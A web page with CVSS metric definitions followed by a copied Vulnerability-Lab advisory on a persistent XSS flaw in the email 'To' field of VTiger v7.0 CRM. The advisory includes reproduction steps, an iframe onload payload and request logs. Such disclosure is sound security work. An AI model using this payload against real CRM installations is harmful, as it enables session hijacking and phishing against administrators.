The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Below is a copy: VTiger v7.0 CRM To Persistent XSS
# Exploit Title: VTiger v7.0 CRM - 'To' Persistent XSS
# Date: 2020-11-18
# Exploit Vulnerability-Lab
# Vendor Homepage: https://www.vtiger.com/open-source-crm/download-open-source/
# Software Link: https://sourceforge.net/projects/vtigercrm/files/
# Version: v7.0
Document Title:
===============
VTiger v7.0 CRM - (To) Persistent Email Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2227
Release Date:
=============
2020-11-18
Vulnerability Laboratory ID (VL-ID):
====================================
2227
Common Vulnerability Scoring System:
====================================
4.8
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000 - 2.000
Product & Service Introduction:
===============================
Vtiger CRM is web-application built using PHP. Choose the best CRM for
your business. Custom Module & Relationship builder for
VTiger is a very useful extension that allows crm administrators to
create custom modules within few clicks. All custom modules
are created following strict VTiger standards. In addition, the
relationship builder allows crm admin to link together existing modules
as well as new custom modules.
(Copy of the Homepage:
https://www.vtiger.com/open-source-crm/download-open-source/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent
cross site vulnerability in the VTiger v7.0 CRM open-source web-application.
Affected Product(s):
====================
VTExperts
Product: VTiger v7.0 - CRM (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2020-04-27: Public Disclosure (Vulnerability Laboratory)
2020-04-28: Researcher Notification & Coordination (Security Researcher)
2020-04-29: Vendor Notification 1 (Security Department)
2020-05-30: Vendor Notification 2 (Security Department)
2020-06-22: Vendor Notification 3 (Security Department)
****-**-**: Vendor Response/Feedback (Security Department)
****-**-**: Vendor Fix/Patch (Service Developer Team)
****-**-**: Security Acknowledgements (Security Department)
2020-11-18: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Guest Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Full Disclosure
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official VTiger v7.0 CRM open-source web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.
The persistent cross site scripting web vulnerability is located in the
`searchValue` Parameter of the `Emails Compose` module.
Attackers are able to inject own mlicious script code in the `To` sender
input field of the email compose module to attack other
user accounts. The email can be delivered with multiple receipients
which allows an attacker to insert the target email and a
malicious payload. The request method to inject is GET via searchValue
and POST on compose with persistent attack vector.
Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.
Request Method(s):
[+] POST
[+] GET
Vulnerable Module(s):
[+] Email Compose (index.php?module=Emails)
Vulnerable Input(s):
[+] To (Sender - Email)
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by
remote attackers with low privileged account and with low user interaction.
For security demonstration or to reproduce the cross site web
vulnerability follow the provided information and steps below to continue.
PoC: Url
http://localhost:8080/vtigercrm/index.php?module=Vendors&relatedModule=Emails&view=Detail&record=3883&mode=showRelatedList&relationId=62&tab_label=Emails&app=INVENTORY#
Manual steps to reproduce the vulnerability ...
1. Open the web-application ui
2. Login with a regular user role to the ui
3. Open vendors and move to compose to email form
4. Inject malicious payload as "to" sender information and as well a
valid email to target
5. Send the request after the compose
6. Wait until the administrator or higher privileged targeted users
click in the email or receives the email on preview
7. Successful reproduce of the cross site scripting web vulnerability!
PoC: Vulnerable Source (Execution Point)
<div class="col-lg-12"><div class="col-lg-2"><span
class="pull-right">To <span class="redColor">*</span></span></div>
<div class="col-lg-6"><div class="select2-container
select2-container-multi autoComplete sourceField select2"
id="s2id_emailField" style="width: 100%;"><ul class="select2-choices
ui-sortable"> <li class="select2-search-choice">
<div>IT <b>([email protected])</b></div> <a href="#"
class="select2-search-choice-close" tabindex="-1"></a></li>
<li class="select2-search-choice"><div><iframe src"evil.source"
onload=alert(document.cookie)></div></iframe></div>
--- PoC Session Logs [GET] ---
http://localhost:8080/vtigercrm/index.php?module=Emails&action=BasicAjax&searchValue=>"<iframe+src%3Da+onload%3Dalert(document.cookie)>&_=1587844428851
Host: localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer:
http://localhost:8080/vtigercrm/index.php?module=Vendors&relatedModule=Emails&view=Detail&record=3883&mode=showRelatedList&relationId=62&tab_label=Emails&app=INVENTORY
Cookie: PHPSESSID=ni2357om9nni5vvhovf20rkt51
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.10 (Debian)
Content-Length: 28
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
-
Content-Type: text/json; charset=UTF-8
http://localhost:8080/vtigercrm/evil.source
Host: localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:
http://localhost:8080/vtigercrm/index.php?module=Vendors&relatedModule=Emails&view=Detail&record=3883&mode=showRelatedList&relationId=62&tab_label=Emails&app=INVENTORY
Cookie: PHPSESSID=ni2357om9nni5vvhovf20rkt51
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.10
Content-Length: 299
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Reference(s):
http://localhost:8080/vtigercrm/
http://localhost:8080/vtigercrm/index.php
http://localhost:8080/vtigercrm/index.php?module=Emails&action=BasicAjax&searchValue=
Security Risk:
==============
The security risk of the persistent web vulnerability i the
web-application is estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
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